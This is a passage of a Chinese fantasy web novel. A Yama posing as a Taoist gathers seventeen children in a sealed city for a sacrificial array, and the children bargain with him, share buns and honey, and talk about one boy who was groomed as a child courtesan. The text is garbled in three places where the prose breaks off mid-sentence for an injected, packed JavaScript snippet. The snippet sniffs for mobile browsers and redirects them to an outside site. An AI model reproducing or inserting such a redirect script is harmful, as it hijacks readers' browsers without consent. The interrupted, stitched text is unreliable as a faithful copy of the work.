他之所以佯装腔作势,是因为这段时间见小孩见得太多,知道小孩心性未定,对什么都会好奇,虽然这十名阳性生灵好似天生比较沉稳,但他不想待会儿进去了,再被“找小孩”折腾一番。 贺和迈入城门后,眼前景象,让他脚下一顿。 迎新城上空,断线的金纹星图绘制完毕,城内的十七生祭阵,十处星位亮起了光。 这一景象说明,入城的人数,满足了。 只待得到剩余七人的「名字」,献祭生死阵便能生效。而生效之后,再有三日左右,魔界余孽就能闻着味儿,被城内的灵气气息引诱至此。 到时候,十七人以血点香,饶是魔界欲孽想走,也恐怕难以抵抗城内诱惑,悉数同迎新城一起湮灭。 贺和喃喃自语道:“怎么回事?明明才十名小童,阵光怎么会亮。” 溪亖音眼尖地瞧见一抹身影,指向城楼对面茶铺的拐角处。 城楼下的视线纷纷被吸引过去,溪亖音疑惑道:“道长,你是在找他们吗?” 贺和肉眼扫过,道:“他们?” 还好,他眼神没差到连一个小姑娘都比不过。 定睛一看,贺和瞧见一片衣角飞入墙角,半身黑影藏入,心道:来都来了,怎么能走呢?! 手上施法捏诀,慢慢地,从对面茶铺拐角处,依次逼出七位脏兮兮的孩童。 见状,贺和眉开眼笑,心道:难怪天道选的是此城,竟是一早就安排好了七人。 一位衣襟发髻相对整洁的小孩,双手拦在其他六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789647|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人面前,与城楼前的贺和对峙,道:“是你封的城?” 贺和掐指卜算,睨眼嬉笑道:“你不怕我?” 孩童默不作声,眼神警戒。 贺和停下了手上的动作,满意点头,答道:“不是我封的城,封城的人…都在外面。” 紧接着,他道:“我回答了你的问题,你是不是也该回答我一个问题?” 孩童点了点头。 贺和挑眉,问道:“你叫什么名字?” 孩童答道:“隗晎。” 两字刚说完,隗晎紧锣密语道:“该你了。” 闻言,贺和嫣然一笑,道:“好,你问吧。” 两人默契一致,将提问答问当做了“游戏”。 隗晎道:“你能放我们出去吗?” 贺和道:“不能。” 随即,他指向隗晎身旁的一人,按照游戏规则,又该他发问了。 贺和道:“他叫什么名字?” 一人一问,一人一答,真是一件公平的买卖。隗晎朝身后两边各看了一眼,蹙眉沉思,迟疑了一瞬,答道:“齐同舟。” 齐同舟?有名有姓?!贺和摇头自语道:“不对,你们七人均是小乞儿,怎会有姓?” 隗晎仰头看向贺和,余光瞟了一眼天空,目光微闪,霎时,便收敛住,面色平静,瘪嘴道:“捡的。” 贺和点点头,便听见隗晎沉声道:“该我问了…” 贺和急忙打断他的话,道:“等一下!” 扫了一眼半空中的阵法,那星位上第十二人的名字,并没有如期被点亮,他讨价还价,抿唇道:“方才我那一问,你答了不作数,需要他自己告诉我名字。” 隗晎余光回瞟向天空,若有所悟,摇头道:“不行,我已经答了。” 堂堂六天宫的第十殿阎罗,领了一个倒霉的差事,劳心劳力也不一定能得到三界的表扬,今日还要如此悲催地被一个小孩压一头,日后怎能在地府抬起头… 贺和神情严肃,双手抱臂,准备与对方舌战一场。 隗晎眼神坚定,身材矮小,气势不弱,丝毫没退缩,先一步开口道:“‘大人’,不能不讲信用。” 顿了顿,他笑道:“我们…可都是小孩…” 这话说得一点也不“小孩”。 那眼神也一点不像“小孩”。 可是,城门内的一群人,不管从身量还是年岁评判,的确只有贺和一人看起来是“大人”,其他人都是小孩。 同时,那群小孩,因隗晎的两句话,眉头紧蹙,蓦地同仇敌忾,一人说了一两句,一道指责贺和这位“大人”:“世道变成了这般,难怪阿爷早早隐匿了…” “是男人就有点骨气!!” “还是个大男人哟!” “道长,这样做有损修行。” “道长,你怎么能欺负小孩呢?你是坏人吗?你会欺负我吗?” “…” 情势不妙… 打落牙齿和血吞,论年龄,贺和的确比他们活得久,论身量,贺和是一个成年男子,论因果,贺和还想要他们的命。所以,不管从哪一方面来说,他都没有底气,去同这群“小孩”争一个输赢。 放下手,他吞咽一口气后,不情不愿道:“你问吧。” 不一会儿,四周安静下来,隗晎慢悠悠地道:“我们会死吗?” 在场的,除了隗晎和贺和,其他人皆浑身一震,木楞地看看隗晎,又偷偷瞧一眼道士装扮的贺和。 他们年岁虽然尚小,却没有痴傻愚笨的人,都听明白了这句话,也懂生死为何事。 突然之间,嘈杂再起。 “为什么会死?”“原来是要我们来送死?”“怎么办…”“我们还能出去吗?”“阿爹阿娘不要我们了吗?”“呜呜呜呜呜…” … 诸如此类,伴随一两道哽咽。 不好,若是继续这样下去,强押他们入阵,会不会显得过于残忍… 多半,会损点功德了。 贺和暗想,许久没能张口言语。 他不太会哄小孩… 这时,隗晎穿透众人的吵闹,道:“安静一点。” 他身边的六人先闭了嘴,眼神闪烁地听候隗晎的指令。 对面十人虽各自为营,却是不再说话。有一两名年岁较弱的小孩,没能控制好情绪,还在呜呜咽咽,但好在也算是没那么吵闹,此刻若是有人正常说话,不会影响别人听清。 隗晎目光直逼贺和,继续道:“道长不答吗?” 83. 城外天命城内命2 贺和回神,道:“不是不答,你们年岁小,不明白什么是生什么是死…凡人一世,不过是历经一本故事,轮回一场,算不得死。” 隗晎眯眼,脸色不悦,道:“死就是死,为了安慰我们,还给编纂了这些话?给我们安上那些莫须有的身份,你们不觉得累吗?既要除戾消魔,为何不是天上的神明,或是你们这些修为有成的道士呢?难道只能靠我们这些“演故事”的人才能成?你们大人真可笑…大张旗鼓地捉人,清空一座城池,把我们关进来倒是做得十分利索。” 贺和浑身一震,眼光一凛,神色黯然,语气淡淡地道:“对,我们是不嫌累。要知道,神明并非无所不能,凡人有凡人的命数,世间有世间的命数,这件事只有你们能成,是一早就定好的。” 隗晎双手紧蜷。 贺和惋惜道:“没错,你们会死,因此事而死,此生会死,来生…可能不一定有来生。” 闻言,隗晎和贺和身边的几名小孩同时蹙起了眉。 凉离挑起嘴角笑了笑,眉头不松道:“道长,乱说话可是要损修为的。” 甘歌语气冷冷道:“无聊。” 乐正词媿淡淡地道:“阿爷不是说这是国事吗?道长怎么和江湖术士一样…胡言乱语。” 宋世平冷静道:“陛下授了皇权,怎么会容许你轻易残害人命!你究竟是什么人?!” 隗晎低头隐忍道:“我不信…你最好放我们出去。” 贺和道:“信不信不重要,你们已经入城,一切都将如期到来。” 忽而,隗晎抬头,瞪目怒道:“你什么人!!凭什么几句话就断我们生死!” 贺和呢喃道:“凭什么?” 他手一挥,身上的道袍幻走,变出了阎罗唬小鬼的官服,揣手,一张恐怖阴森的面具自上而下,覆于他的面颊。 转瞬,贺和话声空灵,道:“本君非是人间道士,乃地下六天宫的第十殿阎罗,尔等乖乖听话,本君还能送你们轻松上路,否则…休怪本君无情。” 隗晎茫然若失,先前同他一起质问贺和的几人,神情也不大好,呆若木鸡,闭口不言。 然而,其中有一半的人并没有惊恐的表情漏出,反而一脸好奇,纷纷开始大起胆子,打量贺和。溪亖音更是止了眼泪,和路了绿、珪光两人,挂在贺和身上,抓挠熊服。 溪亖音翘足企首,童言无忌道:“阎罗是什么啊?道长不热吗?这毛毛好软啊…你脸上的面具,我可以戴一戴吗?道长那么好看,为什么要变成这样吓我们呢?一点都不吓人…道长真的是仙者吗?好厉害啊…” 由他们三人打头,又围了几人上来,在贺和身上拖拽,他脚下不稳,一个趔趄,跌坐在地,面具歪歪斜斜的挂在脸上。 一串银铃般的笑声在贺和脑袋周围响起,随即,他面前的面具被一双小手揭了开。 隗晎和原本在发怔的几名孩童站在了他的对面,而他身上扑满了剩余的孩子。 不多时,手捧面具的隗晎,对贺和身上的一人,了无生气道:“齐同舟,把名字告诉给道长。” 从贺和背后绕出来一名小男孩,听话作揖道:“我叫齐同舟。” 贺和点了点头,齐同舟脸上一笑,小跑到了他身后继续拔熊服上的毛。 那厢,隗晎半垂目道:“我不问问题了,我有一个要求。” 贺和笑道:“本君为什么要应。” 隗晎转身一手抱面具,一手向上指道:“因为…你要靠我们几人点亮剩余几处的光。” 贺和吃惊道:“你能看见?” 隗晎哑然一笑,视线在身边几人身上转了一圈,道:“他们进来时,那东西亮了,我报名字时,又亮了一处,齐同舟报名字时,我方才数了数,多了一处。” 贺和一脸严肃,身上没有进一步动作,却警告道:“不要做无谓的抵抗,剩余几人就算不报与本君名字,本君也有法子。” 隗晎摇头叹息,朝贺和周围的几名小孩吩咐,道:“你们把名字都告诉给道长吧。” 立马,贺和耳边响起了五道孩童声… “山情…”“水意…”“家厚…”“安在心…”“净枕…” 星位全亮,阵法初成,只待与城外相通。 这几人的名字,一时让贺和忘了阵法的事,忍不住在心中嘀咕道:这小孩炼过?打算在自己身上凑够镇家六地祇? 不小心脑通口,贺和在嘴里低声道:“名字怎么会这样取,想破命数?” 隗晎耳尖都听见了,不好意思道:“都是捡的。” 贺和身边一个小姑娘解释道:“隗晎在道观替我们捡的名字,道长听过?” 一个小男孩接话道:“不好听吗?” 又一个小男孩问道:“是有什么问题吗?” 贺和尴尬道:“没…没什么,挺好的。这些名字都…都是极好的,保家、护宅、看屋、守房,定平安。” 停顿片刻,他补充道:“他为你们择了最合适的名字。” 这六人,加隗晎,一副乞儿装扮,一看就是无家可归的流浪儿,这些名字,于他们而言,不仅是名字,更是祝福。 隗晎眼睛眨眨,他知道,贺和看出了他起名的意图,脸色微红,落寞的神情,终于自然了些。 抬头,贺和道:“你方才说要本君应一个要求?” 隗晎道:“嗯…” 贺和寻到隗晎的视线,看了过去,道:“你且先说一说吧,是什么要求,本君看看能不能应。” 隗晎双手奉回面具,作揖道:“道长方才讲的话,我信,想请道长给我们一条活路。” 空中法阵刺眼,贺和半闭眼眸,丝毫不犹豫,道:“不行,这件事本君没有办法。你换一个…” 隗晎默了声,他身边的怀晓上前一步,磕头拜礼在贺和脚边,没有不甘,似恳求,插言道:“大人,奴有一个问题,不知道大人愿意解答一二吗?” 贺和揉了揉额角穴位,道:“你先问,本君能作答,自会直接告知你。” 怀晓道:“大人可否告知死期?让奴心里有一个数。” 居然是这样一个问题… 贺和细细审度提问之人,心里不禁唏嘘: 俯首帖耳,从令如流。 被调教得真好。 那声音,稚嫩中透出一股缠腻,因说话人年岁小,倒不显得恶心。 贺和缩回怀晓面前的双脚,浑身一激灵,道:“三日后。” 怀晓跪坐起来,面容和煦,笑容释怀,道:“真好,只三日,就做鬼了…” 鬼? 你们怕是想太多了… 血香一烧,身与魂都要祭给那些东西吃,怎还能容你做鬼。 原来,早先的话,贺和还是说得委婉了…死到一点不剩,才是众人此番结局。 平日里,他面对命数坎坷的小鬼,皆会同恐吓幽魂时一样戴上面具,藏匿情绪。然而,此刻他脸上的异样,却丝毫未加掩饰,直愣愣展现在他对面的几人眼中。 隗晎看得一清二楚,其他人自然也瞧得真切。贺和脸上一蹙一拧一搭眉,历历可数。 有了怀晓发问之事,乐正词媿原地不动,见礼后,挑明问道:“我随阿爷看过几本异志类的册集,道长即是阎罗王,想来所言生死,必是真话。想请问道长,我们几人…是否是连鬼都没得做了?” 贺和点头道:“是,也不是。看他们吃多久,那香会烧多久,外面的他们,又需要多久才愿意动手…三者皆会影响你们,俱和你们的命有关系。” 乐正词媿道:“外面有人会想我们活命吗?” 这一问,问得好啊! 要想天下安,自然便不能盼他们十七人安。 贺和都不知道如何作答。 宋世平正气凛然,一本正经道:“大地国可否就此无虞?” 杨战息紧密地细问道:“雍凉城是否不会再起战乱?” 不愧是护疆将士之后,耳濡目染,小小年纪已经有了保家卫国的心性。贺和道:“你们两问的事与你们生死无关,本君答不出。” 稚弱孩童张口便问家国大事,也不想一想,他有没有这个能力…一界纷乱岂是他能算明白的,若是此行来的是司命府的真君,那还可以问出一个大致的因果。 贺和瑟缩间,一身落魄,比隗晎等人好不到哪里去的甘歌,嗫嚅道:“还有三日,给吃食吗?” 与此同时,贺和身上跟着隗晎一起出现的几人,肚子中不合时宜地响起一阵叫声。 咕咕咕咕… 原来,刚刚他们之所以会出现在对面茶铺,是听见了城门的动静,想到此找到出去的办法。他们在城内待了一个半月,能吃的东西,他们都尽早塞进了肚子里,不能吃的,或是没来得及咽下的,都已经馊了,不能食用。 城虽大,却没有果腹的作物。 连颗长酸果子的树都没有… 封城以后,城门不开,城内无吃食,城内七人,不等做法献祭,估计迟早也会被饿死。 又一阵咕咕咕咕… 霎时之间,静默无语。 甘歌一语,真问在了点上。 隗晎道:“道长,适才的要求我想换一个,能给我们一点吃的吗?” 刚入门的十人,一路上好吃好喝,并没有饿着,倒是城内七人,饿意上涌,他们不光肚子叫得厉害,浑身也难受得很。 原在玩闹的孩童,都从贺和身上站了起来,两三人一组,立在一边。 甘歌垂目,诉求道:“我也想要一份。” 贺和顿悟:对啊,他们还要再做三日的人,填饱肚子才是重中之重。 谈什么生死阴阳,果真是做鬼做仙久了…忘了什么是人了。 贺和道:“你们想吃什么?我去城外帮你们拿。” 甘歌淡淡地道:“馒头。” 贺和疑惑道:“馒头?” 甘歌喃喃道:“顶饿,不容易馊。” 贺和“哦”了一声,那厢,隗晎颔首道:“我也要馒头。” 溪亖音好奇道:“馒头很好吃吗?你们为什么都要馒头?是不是和头有关?我还没吃过馒头…” 又是一阵鸦雀无声… 众人都偷偷打量了“傻傻”的溪亖音,俱是步调一致地无话无语。 溪亖音有些尴尬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凉离眉眼含笑,看不出是忧,也看不出是喜,他阐述道:“我家府上的数术先生曾说,万一是万分之一,一里必有一万个万一。那一件事…不就自是有一万种解法吗?” 闻言,众人皆又是一愣。 凉离继续道:“所以,没有解不出的题,只有还没寻到的答案。这当中该是有那一种答案,我们还得吃饱饭,留足力气回家吧,哈哈哈哈…馒头是真不错,是个好东西。” 十七人,人人都是小孩样,却比大人坚毅,临死不丧,向生盼生。 各自陷入沉思… 贺和大震:难道天道选中的人,都会这般与众不同? 这话,和天道下降生的生灵一样,离奇又有理… 可惜了。 可惜?? 万一不会呢?! 活路… 不是还有一条吗… 贺和好似被洗脑了,不禁和他们一样,在思考三日后,阳性生灵的出路。 他离开前,特意拉了能看见法象的隗晎到一旁,密语道:“生死一事,你可信本君所言?” 隗晎踟蹰,点了点头,道:“自然,你是阎罗王。” 贺和不知为何,许是被那一连串的“馒头”和“万一”击昏了脑袋,竟主动道出天机,道:“轮回非最好的生,死肉身也非绝命,你们若真想活命,便要断这一生。” 隗晎怎么可能听得懂这些话,刚准备发问,身旁早没了人影,耳边淡淡地消散着贺和的最后一句话:“好好想一想,本君是谁。” 眼下,隗晎暂且没那么多精力去参悟贺和的话,他同城内六人饿了太久。 幸好,贺和动作麻利,没等到第二日,当日午间,便让城门内凭空出现了一箩筐的馒头。 一瞬的饥饿却让隗晎忽略了三日时间很短,突然多出的十人,让他再没有时间静下心去细细盘算那些话,以至于他最后一日苦思冥想,竟是一点思路都没有。 眼睁睁看着众人受驱使赴死… 夜幕降临,众人分了馒头便四散在迎新城各处。 除了隗晎那七人,因为一早就认识,干什么都一起,如同一支空城里的护卫队,行动有素。 他们一起拿馒头,七人又一起去烛火铺子,抱上一堆又长又粗、可以燃通宿的龙凤蜡烛,再一同回了一直落脚的客栈。 一屋子的灯火,宛如明昼。 客栈的门窗明亮闪烁,发出诱人的吸引,在静谧异常的迎新城内,恍若一盏天上圆月,甚至比那还要亮,还要让人着迷。 贺和隐了身,守在客栈屋顶。 十七名阳性生灵筹具完毕,回禀至三位帝君,随后,他便如早期安排,被派来看守十七人。 按照计划,不消三日,城内与城外的阵法便会相连,到时候,魔界余孽会受十七人气息诱惑,纷纷闯入这为他们特意准备的空城,享用最后的晚餐。 想起白日里的事,贺和低头,指尖轻点身下瓦片,刹那,连屋带楼地变透明了,他搜寻到一抹身影后,自问道:“年岁这般小,能想通那几句话吗?” 须臾,他又自答道:“应该能吧。有天眼见万物,心智想来不差…其他人…也算聪慧,这条“万一”之路,他们合该会发现…” 猛然,贺和脑中闯入一抹六天宫司命府中的青色身影,他摇了摇头,口中呢喃道:“不一样…不一样…本君是怜悯之心,不是多管闲事。” 双手撑头,他窥伺起客栈里的动静。 84. 城外天命城内命3 大堂里,隗晎等人跪在地上铺褥子,门头探进来一个小脑袋,手里捧了十个馒头。最顶上那一个被咬了一口,小小的缺口朝外展示,让看见的人知道那留下印记的人,对它不是很满意。 溪亖音糯糯的,在门外道:“小…哥哥…” 里面的小脑袋齐齐望向隗晎。六人没有动,也没有回应。他们做乞丐久了,早学会了先顾好自己。 隗晎停下手中的动作,回身,问道:“怎么了?” 溪亖音嘴角一弯,灿烂嫣然,抱着馒头,不请自入,跑到隗晎刚铺好的褥子上,跪坐道:“哥哥,我叫溪亖音,白日里见过的,我记得你叫隗晎对不对?我以后叫你小晎哥哥好不好?” 其他几人停了下来,侧头观望这方。 只见隗晎余光扫了一圈嘻笑的众人,僵硬的脑袋,生涩地点了点头,脸颊晕染了一层淡淡的红晕。 比起溪亖音锦衣团簇,粉嫩娇贵,他们太粗糙了。 这种“养尊处优”的小孩,隗晎和其他六人从没有接触过,加上溪亖音一上来便毫无隔阂地亲昵,还唤隗晎“哥哥”,所以一时之间,他难免有些害羞、局促。 溪亖音似撒娇,把馒头全塞进隗晎怀里,道:“这东西不好吃,都给小晎哥哥。” 隗晎木楞地道:“你会饿。” 溪亖音眼神明媚,丝毫不怯懦,也不嫌弃隗晎等人的狼狈,踹掉脚上的鞋子,彻底滚进了褥子里,道:“不会的,阿爹阿娘…对了,还有阿爷阿婆,以及路上的姐姐哥哥,都会给我煮肉羹吃的…我不会饿。” 隗晎挑出那个被溪亖音啃坏的馒头,把剩下的递给了齐同舟,嘱咐他收捡起来。 他将东一只西一只的鞋子码放在褥子前,无情地戳破溪亖音的幻想,道:“你应该很久没见过他们了吧。” 溪亖音神情一顿,小手摸上肚子。 见状,隗晎眉头微锁,问道:“今天只吃了一口馒头吗?” 溪亖音喃喃道:“咽不下…我把它吐掉了。” 净枕道:“那可是粮食,你怎么能浪费呢…” 这话,瞬间让溪亖音眼眶红润。 隗晎暗地里摆手制止净枕,转头,向溪亖音耐心道:“他们不会再给你送吃的了,你再吃几口馒头吧,不然后半夜会饿。” 溪亖音摇头嘟囔道:“我不要…” 正在这时,门口响起了一阵叩击,随即,话语传来,道:“奴叫怀晓,城内漆黑一片,实在寻不到落脚的地方,不知道奴可否进屋,在屋角挤一晚?” 大开的门没有人影,众人都没看见人在哪里。 安在心最是胆小,忍不住环顾四周,紧张道:“怀晓?你在哪儿?是人是鬼?我们怎么看不见你…” 门口,一侧半掩的门扉后,躬身走出一人。 屋内众人,大松一口气。 怀晓低头垂目站在门口,道:“道长说三日后才会死,奴还是人。” 他没有进门,蜷缩的手指微伸,指向门口柜台旁唯一暗沉的角落,再次询问道:“不知道奴可否进屋,在那里挤一晚?” 溪亖音从褥子上撑跳起来,赤脚走到门口,拉起怀晓的手,道:“进来吧,小晎哥哥心很好,怎么会让你睡在那里呢,这里有软软的地儿,你也一起来。” 怀晓没动,看向隗晎。 隗晎点头道:“进来吧,地方宽,小音说的没错,那一角不适合睡觉。” 怀晓轻声道:“谢谢…” 眼神却是不停地在偷偷打量隗晎的态度,他小心翼翼,站在一旁,根本不敢像溪亖音一样,直接坐在那床被褥上。 隗晎眉头微皱,半揽溪亖音,抬起她的双脚,用袖口替她擦干净脚底踩上的尘土。 洁净完毕,溪亖音一滚,又自由地躺坐进了人群里。 隗晎见怀晓很是拘谨,拍了拍身旁,道:“坐吧。” 其他几人隔得远的,都凑了过来,纷纷将注意力从溪亖音,转移到了貌比潘安的怀晓。 安在心怕鬼不怕人,手指在怀晓的耳圈轻轻碰了碰。 怀晓浑身一颤,娇容失色。 溪亖音也凑了过来,摸了摸那耳垂上光零零的银勾,发自肺腑,独自赞叹道:“好漂亮啊,怀晓哥哥好美…这是宝贝吗?值钱吗?怎样才能生得像你一样好看呢?” 几人全涌在怀晓周围,这摸摸,那碰碰,动作不小,把隗晎挤得没地儿坐了。 隗晎无奈腾了地儿,刚站起来,便看出了怀晓的异样,轻咳一声,眼神一扫,其他人收敛了动作,退开了一臂远。 挂在怀晓身上的溪亖音,也木木地望着他,身体不由自主地,和其他人一样撤了下来。 隗晎看着那无地自容的人,道:“怀晓,你跟我去一趟楼上,堂中被褥不够。” 怀晓眼神感恩,恭谨地起了身,道:“好,奴跟你去。” 两人一前一后走上楼。安在心小声嘀咕道:“隗晎真是的,咱们只是凑凑热闹,他最会扫兴了。” 齐同舟剜了她一眼,道:“少编排隗晎。” 安在心一怔,随即拼命点头,道:“是是是,他是我们大哥嘛,我们得尊重他…我不说隗晎还不成嘛。” 齐同舟虽怒气不减,却是没再指责安在心。 溪亖音眼力见不好,甜笑道:“小晎哥哥是你们大哥?” 家厚老实道:“我们认的…” 那方,安在心又挑起一个话题,道:“你们刚才都看了摸了吗?那可是花楼里伶人才会戴的东西…他是不是已经被吃过了?” 末了,她吞咽道:“原来,美人摸起来是这种感觉…其实,还不如拿银子换馒头吃呢,一点都不香。” 溪亖音不解,问道:“什么是伶人?可以吃他什么?好吃吗?我肚子好饿…” 山情脸色燥红,道:“他看起来的确和我们不同…” 齐同舟凑上前,呵斥道:“闭嘴吧!你又能看懂了!!” 净枕帮腔道:“瞧他年岁,还有他那动作,不像是接过客人的。” 溪亖音听得云里雾里,道:“你们在说什么呢?接什么客人?他家也经商吗?我阿爹阿娘经商很厉害哦…” 水意哀伤道:“都少争两句吧,咱们困在这里,早是一根绳上的人了。” 此时,楼道上传来下楼的脚步声,吱呀吱呀,正好和水意的话,一起阻断了几人的话。 隗晎和怀晓一人抱着一床褥子。隗晎手里额外拽了一只小罐子。 隗晎把小罐子塞给溪亖音,从桌上拿起那被啃了一口的馒头,一同递了过去,道:“是蜜,我尝过了,封得好,没有馊,抹在馒头上吃吧。” 溪亖音眼眸闪烁,道:“小晎哥哥真好…” 安在心埋怨道:“隗晎偏心,她吃馒头就蜜儿,我们只能喝凉水。” 其他几人没说话,眼神馋馋,喉间滚动,一轮快过一轮。 隗晎叹息道:“别嚷嚷,是怀晓方才找出来的,不过是我代为转交。” 溪亖音手指伸入罐子蘸取了蜜,尝了一口,很甜美,她心情瞬间高扬。 按照隗晎的话,将蜜抹了点在馒头上,毫不吝舍,把罐子递给了安在心,道:“姐姐尝一尝,很甜。” 罐子开始在大伙儿手中流转,嘀嘀咕咕埋怨的几人,瞬间默了声,先后不一,皆感叹道:“好甜啊…” 溪亖音掰下沾了蜜的馒头,塞了一块在隗晎嘴里,又塞了一块在怀晓嘴里,道:“直接吃会有一点点腻,拌馒头吃正好哎,跟我阿娘做的糕点一样,你们尝尝,我说的对不对?” 这种主动,隗晎依旧适应不惯,小鸡啄米似的,一点一点回味,道:“嗯…” 一旁的怀晓,和隗晎差不多反应。他本来和煦温柔的脸颊,多了一份动容,慌乱垂下头,拿起面前的被褥铺着,哽咽道:“好吃。” 安在心效仿地吃了一块,惊叹道:“别说小音的嘴还真不赖,是比直接吃的味儿香。” 齐同舟试了一下,点头道:“有点意思。” 不一会儿,大大小小的满足声在客栈大堂内响起,其乐融融,冲破了死亡前的宁静,连带屋顶都响起了一阵重重的吞咽。 然而,带来这番感叹的溪亖音,冷不丁地又把那可怕的无声之境拉了回来,她笑容诚恳道:“怀晓哥哥,你是伶人吗?伶人是什么?你身上除了蜜?还有什么东西是让客人吃的吗?我可不可以也尝一尝?” 怀晓浑身僵住,尴尬地低下了头。 其他人身形一顿,吃蘸蜜馒头的嘴,停止了咀嚼。 隗晎急忙道:“小音!不要乱问问题,蜜是捡的。” 溪亖音不明所以,听了这话,双手条件反射地捂上嘴。 屋内,一片寂静… 半晌,怀晓支支吾吾道:“奴…奴是…是…” 隗晎皱眉道:“时辰不早了,收拾收拾睡觉吧。” 众人齐齐回应道:“是啊,太晚了。”“都天黑了…”“睡吧,睡吧。” 窸窸窣窣整理被褥…怀晓松了一口气,模样极其自卑,他神色凄苦又隐忍,望向隗晎,感谢他的解围。 众人的反应,和怀晓的为难,溪亖音知道讲错话了,小声道:“对不起…” 怀晓不知道应该回什么… 隗晎俯身整理褥子,横插在溪亖音和怀晓之间,转头对溪亖音道:“你去找安在心和家厚,你们三个女孩子今晚挨着睡。” 溪亖音点点头,满心愧疚,朝安在心方向挪去。 怀晓苦笑道:“都怪奴…” 隗晎目光扫去,遏止了怀晓的话,严肃道:“若是我们能活下来,你的习惯就改一改吧,我和他们都是乞讨的孤儿,比起你来说…更不如。我们身份低微这话,我只会在这里跟你说这一次,你的身世还不足以让我反复作践自己来安慰你。无论谁,后面会如何,都是未知,也全是靠自己。你也一样…” 顿了顿,隗晎道:“若有以后,希望我们都能不惧今日的自己。” 怀晓目光瞪大,震惊之余,颤抖道:“奴…我…我懂得的。谢谢…” 隗晎道:“睡吧。” 吱呀—— 门口,被推开了一条宽缝,外面站着两男一女。 乐正词媿手持一盏烛火,身后半遮掩了两人。 瞧见屋内人目光都看了过来,她一手把门扉推得更远,毫不掩饰道:“我们三人来了有一会儿了,本是见这一家客栈有亮光,想来一探究竟,没想到是你们。墙角不是故意要听的,但是阿爷有教诲,识书之人,不能见事躲避,今日恰巧让我遇见了,也当言其中之理…一二。” 低头瞟了眼脚下的门栏,她朝隗晎征询,道:“我们可以进来吗?” 隗晎坐起身,微微点头,道:“可以。” 乐正词媿对身旁人道:“路了绿、珪光,我们进去吧。” 彻底大开的那一条“门缝”,以乐正词媿为首,依次走进来三人。 珪光站进来后,稍稍欠身,道:“谢谢。” 路了绿有礼貌道:“谢谢你们。” 门跟着吱呀作响,珪光准备顺手带上门,乐正词媿阻止道:“半敞着吧,迎新城拘了我们十七人,还有五人没到,他们估计待会儿也会寻过来。” 隗晎赞同道:“开着吧。” 夜深露重,乐正词媿身子回暖后,走到溪亖音三人身旁,询问道:“可以坐下吗?” 世家子弟,有男女之防,没有溪亖音的热拢,如今这种局面,她仍旧遵守着礼仪教养,俗世规矩。 褥子上三人挤了挤,挪出一人位置,那方,隗晎对身旁几名男孩吩咐道:“楼上房里还有被褥,你们再去抬几床下来。” 齐同舟等人从被褥里钻了出来,拿起一盏龙凤烛,便一同朝楼上走去。路了绿和珪光这时在征得怀晓同意后,紧挨着坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801678|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来取暖。 对面乐正词媿,在溪亖音的安利下,小口吃起蜜馒头。她小口小口,很是斯文,吞咽后,眼眸转向怀晓,视线落在了隐约而现的耳廓,道:“你耳朵上只有耳圈、银勾,坠子是没来得及挂上吧。” 怀晓震惊,内心挣扎了片刻,方鼓足勇气道:“嗯,没来得及挂坠子。” 乐正词媿端坐,道:“祖父教我识读的一本杂集中,曾有这样一段记载‘北蛮汉子,高大雄武,面容憎恶,异乡人初见,恐;久交之,喜。为了北蛮结善之心更易昭显,异乡人为其修容,为其配饰,久而久之,北蛮汉子发现,以耳上坠物,最讨异乡人喜欢。’大地国之前,有人去过北蛮,学了他们的习俗回来,慢慢地变成了如今伶人魅人的装饰。据我所知,银勾挂珠玉坠子之前,小伶人是不会住店留客,另外…得你的福,我们还能在困境之时,吃馒头就上蜜,当真是幸事。” 怀晓诧异,失魂落魄道:“花蜜的事,你知道…” 乐正词媿转头看向隗晎,笑道:“他不是也知道吗?” 她的眼神称不上和善,隗晎一怔,被盯得浑身发麻。少顷,便听见她继续道:“这并非秘闻,书籍中有记载,算是杂谈,即便不去花楼,我身为女子更是清楚花蜜的用途。” 戳出怀晓的痛处,并不是乐正词媿的目的,她和颜悦色,大方谈论道:“身上抹蜜,本是闺阁女子养润肌肤的法子,只不过被有心人用在了别的地方。” 怀晓喃喃道:“姑娘不觉得羞耻?那原本是用来…讨好…他们。” 乐正词媿道:“为何要羞耻,食色,性也。” 怀晓道:“我没念过书。” 隗晎正声道:“食,可作喜爱之意;色,有美好的意思;性,人之本性。” 溪亖音积极道:“我知道!喜爱美好的东西,是人的本性。像我第一眼就喜欢上怀晓哥哥一样,光是瞧着怀晓哥哥,便觉得心里是蜜馒头。” 乐正词媿满意颔首。 隗晎嘴角弯了弯,笑道:“你想它是做什么用的,它便是什么样。大家都吃的很开心。” 原来,引客人住局之日,伶人会得一罐蜜,在夜间沐浴后,涂抹在全身,这样客人嘴里发甜,便会将伶人记在脑中,再登门寻伶人快乐。 乐正词媿道:“你的坠子在身上吗?你生得漂亮,戴上之后,应该会很好看。我们被困在这里,便如那道长所言,最多还有三日的时间,你何不美美地走呢?” 经乐正词媿这几句话,怀晓心中微见星光,稍稍放下身份上的结缔,壮着胆子道:“坠子…龟婆得了奖赏,便舍不得给我了,我只有银勾和耳圈。” 乐正词媿遗憾道:“阿爷早和我说了此行目的,我便素衣素发来的,可惜了…” 大堂内,基本没有读过书的人,理解不到乐正词媿的苦心。 